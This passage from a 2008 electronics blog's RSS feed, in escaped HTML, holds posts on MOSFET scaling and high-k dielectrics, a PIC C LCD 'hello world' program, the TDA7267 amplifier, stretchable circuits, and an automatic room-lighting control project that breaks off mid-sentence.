id="BLOGGER_PHOTO_ID_5229580547771212658" border="0" /&gt;&lt;/a&gt;&lt;span style="font-variant: normal; color: rgb(80, 80, 80); text-transform: none; letter-spacing: 0pt; font-weight: bold;font-family:Calibri;font-size:54;"  &gt; &lt;/span&gt;&lt;/p&gt;    &lt;div style="margin-top: 0pt; margin-bottom: 0pt; margin-left: 0in; text-align: left; direction: ltr; unicode-bidi: embed;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:Arial;"&gt;•       &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style=";font-family:Calibri;color:black;"  &gt;The problem however can be overcome by the usage of High K dielectric.&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style=";font-family:Calibri;color:black;"  &gt;This shows that the ,material must be electrically thin but physically thick(Hafnium oxide ).&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style=";font-family:Calibri;color:black;"  &gt;For the same capacitance the oxide thickness of the high K dielectric (oxide) can be more .&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;    &lt;p style="margin-top: 0pt; margin-bottom: 0pt; margin-left: 0in; text-align: left; direction: ltr; unicode-bidi: embed;"&gt;  &lt;/p&gt;&lt;p style="margin-top: 0pt; margin-bottom: 0pt; margin-left: 0in; text-align: center; direction: ltr; unicode-bidi: embed;"&gt;  &lt;/p&gt;  &lt;div style="margin-top: 0pt; margin-bottom: 0pt; margin-left: 0in; text-align: left; direction: ltr; unicode-bidi: embed;"&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;span style="font-family: times new roman; font-weight: bold;font-size:100%;" &gt;&lt;span style=""&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-size:100%;"&gt;Problem with the polysilicon gate &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_XTElFWnvKxw/SJM3Pypc-YI/AAAAAAAAAN8/XwkqzweRKDw/s1600-h/4.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp0.blogger.com/_XTElFWnvKxw/SJM3Pypc-YI/AAAAAAAAAN8/XwkqzweRKDw/s320/4.jpg" alt="" id="BLOGGER_PHOTO_ID_5229584336740481410" border="0" /&gt;&lt;/a&gt;&lt;span style="font-size:100%;"&gt;&lt;span style=""&gt;&lt;span style="font-size:100%;"&gt;       &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;&lt;span style=""&gt;&lt;span style="font-size:100%;"&gt;             &lt;span style="font-size:130%;"&gt;     &lt;span style="font-size:100%;"&gt;Polysilicon  depletion&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;&lt;span style=""&gt;                  Need for enhanced channel mobility&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;  &lt;p style="margin-top: 0pt; margin-bottom: 0pt; margin-left: 0in; text-align: left; direction: ltr; unicode-bidi: embed; font-weight: bold;"&gt;&lt;span style="font-variant: normal; color: rgb(80, 80, 80); text-transform: none; letter-spacing: 0pt;font-family:Calibri;font-size:100%;"  &gt;Potential solution&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-top: 0pt; margin-bottom: 0pt; margin-left: 0in; text-align: center; direction: ltr; unicode-bidi: embed;"&gt;  &lt;/p&gt;  &lt;div class="O1" style="margin-top: 2.88pt; margin-bottom: 0pt; margin-left: 0.38in; text-indent: -0.38in; text-align: left; direction: ltr; unicode-bidi: embed;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:Arial;"&gt;•&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;u style=""&gt;&lt;span style=";font-family:Calibri;color:black;"  &gt;No depletion&lt;/span&gt;&lt;/u&gt;&lt;/span&gt;&lt;span style=";font-family:Calibri;font-size:100%;color:black;"   &gt;, very low&lt;/span&gt;&lt;span style=";font-family:Calibri;font-size:100%;color:black;"   &gt; resistance gate, no boron penetration, compatibility with high-k&lt;/span&gt;&lt;/div&gt;  &lt;div style="margin-top: 2.88pt; margin-bottom: 0pt; margin-left: 0.38in; text-indent: -0.38in; text-align: left; direction: ltr; unicode-bidi: embed;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:Arial;"&gt;•&lt;/span&gt;&lt;/span&gt;&lt;span style=";font-family:Calibri;font-size:100%;color:black;"   &gt;Also lesser phonon scattering, hence enhanced mobility&lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_XTElFWnvKxw/SJM4OoFR1hI/AAAAAAAAAOE/HBj0yO3XeSY/s1600-h/5.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp0.blogger.com/_XTElFWnvKxw/SJM4OoFR1hI/AAAAAAAAAOE/HBj0yO3XeSY/s320/5.jpg" alt="" id="BLOGGER_PHOTO_ID_5229585416236160530" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style=";font-family:Calibri;font-size:12;color:black;"   &gt; &lt;/span&gt;&lt;/div&gt;  &lt;p style="margin-top: 0pt; margin-bottom: 0pt; margin-left: 0in; text-align: center; direction: ltr; unicode-bidi: embed;"&gt;&lt;span style="font-variant: normal; color: rgb(80, 80, 80); text-transform: none; letter-spacing: 0pt; font-weight: bold;font-family:Calibri;font-size:54;"  &gt; &lt;/span&gt;&lt;/p&gt;  &lt;span style=""&gt; &lt;/span&gt;&lt;/div&gt;  &lt;p style="margin-top: 0pt; margin-bottom: 0pt; margin-left: 0in; text-align: center; direction: ltr; unicode-bidi: embed;"&gt;&lt;span style="font-variant: normal; color: rgb(80, 80, 80); text-transform: none; letter-spacing: 0pt; font-weight: bold;font-family:Calibri;font-size:54;"  &gt; &lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-top: 0pt; margin-bottom: 0pt; margin-left: 0in; text-align: left; direction: ltr; unicode-bidi: embed;"&gt;&lt;!--[endif]--&gt;&lt;span style=";font-family:Calibri;font-size:18;color:black;"   &gt; &lt;/span&gt;&lt;/p&gt;&lt;/div&gt;  &lt;p style="margin-top: 4.32pt; margin-bottom: 0pt; margin-left: 0.38in; text-indent: -0.38in; text-align: left; direction: ltr; unicode-bidi: embed;"&gt;&lt;span style=";font-family:Calibri;font-size:18;color:black;"   &gt; &lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-top: 4.32pt; margin-bottom: 0pt; margin-left: 0.38in; text-indent: -0.38in; text-align: left; direction: ltr; unicode-bidi: embed;"&gt;&lt;span style=";font-family:Calibri;font-size:18;color:black;"   &gt; &lt;/span&gt;&lt;/p&gt;  &lt;img src="file:///C:/DOCUME%7E1/ADMINI%7E1/LOCALS%7E1/Temp/moz-screenshot-3.jpg" alt="" /&gt;&lt;img src="file:///C:/DOCUME%7E1/ADMINI%7E1/LOCALS%7E1/Temp/moz-screenshot-4.jpg" alt="" /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5146068729005753248-8883649413638204312?l=electronicerror.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/jEWeDHRTJFQFQaqtUZXJZkYSoXM/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/jEWeDHRTJFQFQaqtUZXJZkYSoXM/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/jEWeDHRTJFQFQaqtUZXJZkYSoXM/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/jEWeDHRTJFQFQaqtUZXJZkYSoXM/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/electronicerror/~4/RUDENig_IO8" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/blogspot/electronicerror/~3/RUDENig_IO8/mosfet-scaling.html</link><author>raviegg@gmail.com (Raveendra Pai G)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://bp3.blogger.com/_XTElFWnvKxw/SJMyecwp3eI/AAAAAAAAANk/5a8rUl4NHyU/s72-c/1.jpg" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://electronicerror.blogspot.com/2008/08/mosfet-scaling.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-5146068729005753248.post-2364399307577029626</guid><pubDate>Thu, 12 Jun 2008 19:16:00 +0000</pubDate><atom:updated>2008-06-12T12:20:50.246-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">PICC</category><title>SIMPLE LCD USAGE THROUGH PIC C</title><description>PIC C  is a c compiler for pic microcontrollers (described earlier for my iROOM)&lt;br /&gt;&lt;br /&gt;Here is a simple "hello world"  fprogram for the pic  16f877A&lt;br /&gt;&lt;br /&gt;#include &lt;16f877a.h&gt;            //Must be included&lt;br /&gt;#use delay(clock=16000000)      //for specifying the clock frequency in Hz&lt;br /&gt;&lt;br /&gt;#include &lt;lcd.c&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;void main()&lt;br /&gt;{&lt;br /&gt;lcd_init();&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/*******************************************************************************/&lt;br /&gt;//PRINTING "HELLO WORLD" IN LCD&lt;br /&gt;/*******************************************************************************/&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;lcd_putc("\f HELLO WORLD \n");&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;//     \f  Clear display&lt;br /&gt;//     \n  Go to start of second line&lt;br /&gt;//     \b  Move back one position&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;}&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5146068729005753248-2364399307577029626?l=electronicerror.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/Ti9JtIHgYNSU2NhYr4sboF1XByw/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Ti9JtIHgYNSU2NhYr4sboF1XByw/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/Ti9JtIHgYNSU2NhYr4sboF1XByw/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Ti9JtIHgYNSU2NhYr4sboF1XByw/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/electronicerror/~4/TBrESxL45cM" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/blogspot/electronicerror/~3/TBrESxL45cM/simple-lcd-usage-through-pic-c.html</link><author>raviegg@gmail.com (Raveendra Pai G)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://electronicerror.blogspot.com/2008/06/simple-lcd-usage-through-pic-c.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-5146068729005753248.post-5485470069510535390</guid><pubDate>Sun, 01 Jun 2008 17:03:00 +0000</pubDate><atom:updated>2009-05-08T00:03:19.232-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">tda7267</category><title>TDA7267 Mono Audio Amplifier</title><description>&lt;div style="text-align: justify; font-family: times new roman;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_XTElFWnvKxw/SELXlSnsywI/AAAAAAAAANc/WHn_8HgG6n0/s1600-h/tda7267.jpg"&gt;&lt;span&gt;APPLICATION  circuit&lt;/span&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp1.blogger.com/_XTElFWnvKxw/SELXlSnsywI/AAAAAAAAANc/WHn_8HgG6n0/s400/tda7267.jpg" alt="" id="BLOGGER_PHOTO_ID_5206961154847197954" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;The device TDA7267 is a new technology Mono Audio Amplifier in MINIDIP package specifically designed for TV application.Thanks to the fully complementary output configuration the device delivers a rail to rail voltageswing without need of boostrap capacitors.&lt;br /&gt;&lt;span&gt;APPLICATION HINTS:&lt;/span&gt;&lt;br /&gt;For 12V supply and 8W speaker application, its&lt;br /&gt;maximum power dissipation is about 1W.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5146068729005753248-5485470069510535390?l=electronicerror.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/bDHv1-ru0RaGu2z9icY5Q7ej-t8/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/bDHv1-ru0RaGu2z9icY5Q7ej-t8/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/bDHv1-ru0RaGu2z9icY5Q7ej-t8/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/bDHv1-ru0RaGu2z9icY5Q7ej-t8/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/electronicerror/~4/HN5DEL6KaPw" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/blogspot/electronicerror/~3/HN5DEL6KaPw/tda7267-mono-audio-amplifier.html</link><author>raviegg@gmail.com (Raveendra Pai G)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://bp1.blogger.com/_XTElFWnvKxw/SELXlSnsywI/AAAAAAAAANc/WHn_8HgG6n0/s72-c/tda7267.jpg" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://electronicerror.blogspot.com/2008/06/tda7267-mono-audio-amplifier.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-5146068729005753248.post-4857252482173190905</guid><pubDate>Sun, 18 May 2008 17:46:00 +0000</pubDate><atom:updated>2008-05-18T10:47:29.453-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">MEC</category><title>MEC 3D walk through</title><description>&lt;object width="125" height="355"&gt;&lt;param name="movie" value="http://www.youtube.com/v/3qK2g18Re70"&gt;&lt;/param&gt;&lt;param name="wmode" value="transparent"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/3qK2g18Re70" type="application/x-shockwave-flash" wmode="transparent" width="425" height="355"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5146068729005753248-4857252482173190905?l=electronicerror.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/_qu_mw0B0LHDg12z7uLknKNymB8/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/_qu_mw0B0LHDg12z7uLknKNymB8/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/_qu_mw0B0LHDg12z7uLknKNymB8/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/_qu_mw0B0LHDg12z7uLknKNymB8/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/electronicerror/~4/5u8Wwli7BNs" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/blogspot/electronicerror/~3/5u8Wwli7BNs/mec-3d-walk-through.html</link><author>raviegg@gmail.com (Raveendra Pai G)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://electronicerror.blogspot.com/2008/05/mec-3d-walk-through.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-5146068729005753248.post-4091510332631397801</guid><pubDate>Fri, 04 Apr 2008 18:41:00 +0000</pubDate><atom:updated>2008-04-04T11:48:33.262-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Electronic Circuits That Bend and Stretch</category><title>Electronic Circuits That Bend and Stretch</title><description>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_XTElFWnvKxw/R_Z39ozFtDI/AAAAAAAAALc/Fkq59oNGRqU/s1600-h/stretch01.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp3.blogger.com/_XTElFWnvKxw/R_Z39ozFtDI/AAAAAAAAALc/Fkq59oNGRqU/s400/stretch01.jpg" alt="" id="BLOGGER_PHOTO_ID_5185463921771131954" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;The new circuits, developed by a team of                 researchers at the University of Illinois at                 Urbana-Champaign led by Professor John A. Rogers, are                 built from ribbons of silicon only a few nanometers                 thick that are mounted on flexible plastic substrates.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_XTElFWnvKxw/R_Z3AIzFtCI/AAAAAAAAALU/EUudIbjWKw4/s1600-h/stretch02.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp1.blogger.com/_XTElFWnvKxw/R_Z3AIzFtCI/AAAAAAAAALU/EUudIbjWKw4/s400/stretch02.jpg" alt="" id="BLOGGER_PHOTO_ID_5185462865209177122" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span class="captiontitle"&gt;SHRINK, WRAP&lt;/span&gt;: : This circuit sheet [LEFT] has                         not aged rapidly. The wrinkles make it possible                         to stretch the sheet over a sphere or an                         irregularly shaped object without breaking the                         sheet or damaging its current-conducting                         structures. To wrap circuits around a rod as                         thin as a strand of hair [RIGHT], the                         researchers made them superthin.&lt;br /&gt;for more details click &lt;a href="http://spectrum.ieee.org/mar08/6108"&gt;here&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5146068729005753248-4091510332631397801?l=electronicerror.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/2UKMahxJgzuzCwLlaY78T3XQqIU/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/2UKMahxJgzuzCwLlaY78T3XQqIU/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/2UKMahxJgzuzCwLlaY78T3XQqIU/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/2UKMahxJgzuzCwLlaY78T3XQqIU/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/electronicerror/~4/py2UWHYFCPI" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/blogspot/electronicerror/~3/py2UWHYFCPI/electronic-circuits-that-bend-and.html</link><author>raviegg@gmail.com (Raveendra Pai G)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://bp3.blogger.com/_XTElFWnvKxw/R_Z39ozFtDI/AAAAAAAAALc/Fkq59oNGRqU/s72-c/stretch01.jpg" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://electronicerror.blogspot.com/2008/04/electronic-circuits-that-bend-and.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-5146068729005753248.post-7366591613585392923</guid><pubDate>Tue, 01 Apr 2008 08:17:00 +0000</pubDate><atom:updated>2009-05-08T00:13:30.701-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">iRooM</category><title>Automatic light intensity control system and state identification</title><description>&lt;div style="text-align: justify; font-family: times new roman;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_XTElFWnvKxw/SCsK8EpqAvI/AAAAAAAAAMU/RKKXCJC0Nms/s1600-h/system.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp3.blogger.com/_XTElFWnvKxw/SCsK8EpqAvI/AAAAAAAAAMU/RKKXCJC0Nms/s400/system.jpg" alt="" id="BLOGGER_PHOTO_ID_5200262221886259954" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;The block diagram explains the basic system design. Driver used is MAX 7219.The driver is controlled by a PIC (not necessarily PIC). The driver reduces complexity of work associated with the individual basia required for the LEDs. The driver however can drive 64 LEDs and conmsumes only 160mA at 5V. Thus its a great promise for the future lighting solutions.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_XTElFWnvKxw/SAGFCk2tniI/AAAAAAAAAL8/-zpQPHKUfMQ/s1600-h/k.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp2.blogger.com/_XTElFWnvKxw/SAGFCk2tniI/AAAAAAAAAL8/-zpQPHKUfMQ/s320/k.jpg" alt="" id="BLOGGER_PHOTO_ID_5188574525006913058" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p class="MsoNormal" face="times new roman" style="margin-left: 0.5in; text-align: justify;"&gt;  &lt;/p&gt;&lt;p style="text-align: justify; font-family: times new roman;font-family:times new roman;" &gt;&lt;span style="font-size:100%;"&gt;i-Room &lt;/span&gt;&lt;span class="style4-text1"  style="font-size:100%;"&gt;&lt;span style=""&gt;is a state-of-the-art, self-configuring lighting control system solution for bedrooms, offices and perimeter areas&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;.&lt;/span&gt;&lt;span class="style4-text1"  style="font-size:100%;"&gt;&lt;span style=""&gt; Under automatic operation, the system senses luminosity inside and outside a room, dims the LED’s to maintain a prescribed level of illumination inside the room.&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt; i-Room&lt;/span&gt;&lt;span class="style4-text1"  style="font-size:100%;"&gt;&lt;span style=""&gt; is an smart system that saves energy by keeping unoccupied cells of a large room unlit and maximizing the use of available natural light inside the room&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;. By operating on a feedback loop where the system senses light and the presence of people, the system makes smart decisions on how to best illuminate the space according to presence of people and control the brightness according to ambient light. The project is very expandable and versatile. The heart of the system is the state synthesizer PIC 16F883 which is an 8 bit CMOS microcontroller. The sensors of the system are LASER-LDR pair that is available and can be set up easily. &lt;/span&gt;&lt;span class="style4-text1"  style="font-size:100%;"&gt;&lt;span style=""&gt;In the long-run,&lt;span style=""&gt;     &lt;/span&gt;i-Room provides control solutions that reduce energy costs and extend lamp life.&lt;/span&gt;&lt;/span&gt;&lt;span class="style4-text1"  style="font-size:100%;"&gt;&lt;span style=""&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style="font-family: times new roman; text-align: justify;"&gt;  &lt;/div&gt;&lt;p style="text-align: justify; font-family: times new roman;font-family:times new roman;" &gt;&lt;span style="font-size:100%;"&gt;i-ROOM is a simplified version of systems and equipments sold at high prices in the high-income housing segment as well as high-visibility public buildings. With improvements, i-ROOM&lt;/span&gt;&lt;span style="font-size:100%;"&gt;  &lt;/span&gt;&lt;span style="font-size:100%;"&gt;could also be used in architecture projects to enhance prototypes and models of buildings.&lt;/span&gt;&lt;/p&gt;&lt;div style="font-family: times new roman; text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="margin-left: 0.5in; font-family: times new roman; text-align: justify;"&gt;  &lt;/p&gt;&lt;div style="font-family: times new roman; text-align: justify;"&gt;    &lt;/div&gt;&lt;p class="MsoNormal"  style="line-height: 150%; text-align: justify; font-family: times new roman;font-family:times new roman;"&gt;&lt;span style="font-size:100%;"&gt;&lt;b style=""&gt;&lt;span style="line-height: 150%;"&gt;STATE OF &lt;st1:state st="on"&gt;&lt;st1:place st="on"&gt;ART&lt;/st1:place&gt;&lt;/st1:state&gt; TECHNOLOGY&lt;/span&gt;&lt;/b&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;b style=""&gt;&lt;span style="line-height: 150%;"&gt;HISTORY&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style="font-family: times new roman; text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" face="times new roman" style="line-height: 150%; text-align: justify; font-family: times new roman;"&gt;There are available at least two broad categories of automatic lighting control systems for rooms. Automatic lighting control systems falling into the first broad category consist of a plurality of discrete, self-contained automatic lighting control modules which operate essentially independently of one another for controlling the lighting conditions in respective separate sections of a large room. Automatic lighting control systems falling into the second broad category employ a &lt;a href="http://www.patentstorm.us/patents/5812422-description.html" target="_top"&gt;&lt;span class="klink"&gt;&lt;span style="line-height: 150%;"&gt;network&lt;/span&gt;&lt;/span&gt;&lt;/a&gt; of sensors for detecting the illumination levels and/or presence of persons in each part&lt;span style=""&gt;  &lt;/span&gt;of the room &lt;span style=""&gt; &lt;/span&gt;and a programmable central controller which analyzes the sensor feedback signals in accordance with a lighting control program, and outputs control signals to adjust the lighting levels of the monitored regions of the room in accordance with the lighting control program. In this connection, automatic lighting control modules in each part of the room are operated under the control of the programmable central controller. Thus, rather than operating independently of one another, the distributed modules are functionally integrated into a single room-wide network under the control of the programmable central controller. &lt;span style="color:white;"&gt;…………………&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;In the type of system of first category, each light source is provided with an automatic control device which includes a presence detector (e.g., a motion detector or a passive infra-red detector) and a light intensity detector (e.g., a photocell detector). In operation, each automatic control device functions to switch its corresponding light source on when an occupant is detected in its localized area of coverage and to vary the intensity (brightness) of the light produced by its corresponding light source in response to variations in the sensed ambient or background light level in its localized area of coverage. In this manner, adequate lighting is provided in all occupied areas despite variations in the ambient lighting conditions present in various zones of the room.&lt;br /&gt;&lt;!--[if !supportLineBreakNewLine]--&gt;&lt;br /&gt;&lt;!--[endif]--&gt;&lt;/p&gt;&lt;div style="font-family: times new roman; text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" face="times new roman" style="line-height: 150%; text-align: justify; font-family: times new roman;"&gt;Another way of implementing system includes one or more individual dimming controllers each of which controls the light intensity (brightness) of one or more light sources in a room or localized area of the building which is lit by internal light and external light. In particular, each dimming controller adjusts the intensity of the internal light in dependence on the external light intensity, which varies with the time of day and atmospheric conditions. The intensity and direction of the external light is sensed by external light sensors. Each of the light sources in the various sections of a large room can be provided with an individual dimmer, to thereby enable the intensity of the different light sources to be individually adjusted in such a manner as to provide either a uniform or non-uniform light intensity profile. In general, the light intensity of the internal light is controlled in substantially inverse dependence on the external light, e.g., when the external light decreases the light inside the room is made brighter.&lt;br /&gt;&lt;br /&gt;A more advanced automatic lighting control system of the first category developed so far is a programmable illumination system which includes a plurality of individual illumination units each of which is provided with a programmable controller which functions to automatically adjust the light level of its associated illumination unit to a prescribed (programmed) light output level for each of a plurality of different illumination modes. Such an illumination system has particular utility in a space, such as a living room, offices, or shop, in which various different tasks which require different lighting conditions are to be performed. An illumination mode is defined as a particular setting of the light output levels of all illumination units in a particular illumination area for providing a desired illumination profile for a particular task to be performed (or desired ambience) in that particular illumination area. After initial programming of the system, the system automatically adjusts the output levels of the individual illumination units to the proper level for a selected illumination mode.A &lt;a href="http://www.patentstorm.us/patents/5812422-description.html" target="_top"&gt;&lt;span class="klink"&gt;&lt;span style="line-height: 150%;"&gt;wireless&lt;/span&gt;&lt;/span&gt;&lt;/a&gt; or hard-wired remote controller can be utilized to program each of the individual illumination units of the system.&lt;br /&gt;&lt;br /&gt;The automatic lighting control system of the second category developed includes a programmable microprocessor-based central controller which is responsive to feedback signals produced by a network of presence and light sensors distributed throughout various sections of a room to automatically control the light output levels of lighting units in different zones of the room. The system is equipped with an override feature to enable room occupants to override one or more of the automatic lighting features of the system, e.g., to enable the lights to be turned off, despite the sensed presence of people in a room. For example turning off lights for the operation of an overhead projector (OHP).&lt;br /&gt;&lt;br /&gt;A more advanced automatic lighting control system of the second category includes a plurality of illumination sensors distributed throughout the building, but advantageously not necessarily in a one-to-one relationship to the light sources distributed throughout the room. In this connection, a generally lesser number of illumination sensors than light sources are strategically placed inside (and outside, if desired) of the room in order to provide a non-redundant set of measurements of internal illumination. These measurements are then collectively processed by a central automatic control device which preferably includes a neural network or a fuzzy logic unit. The automatic control device is programmed with a set of inference rules chosen to meet user-defined comfort and/or energy efficiency criteria. In operation, the automatic control device automatically controls the light output levels of the light sources throughout the room in accordance with the user-defined inference rules to thereby meet the user-defined comfort and/or energy efficiency criteria. Various user-selectable customized usage modes can be programmed to enable room occupants to vary the general lighting conditions in a selected or area(s) of the room in accordance with various usage requirements by merely selecting the appropriate usage mode desired by the 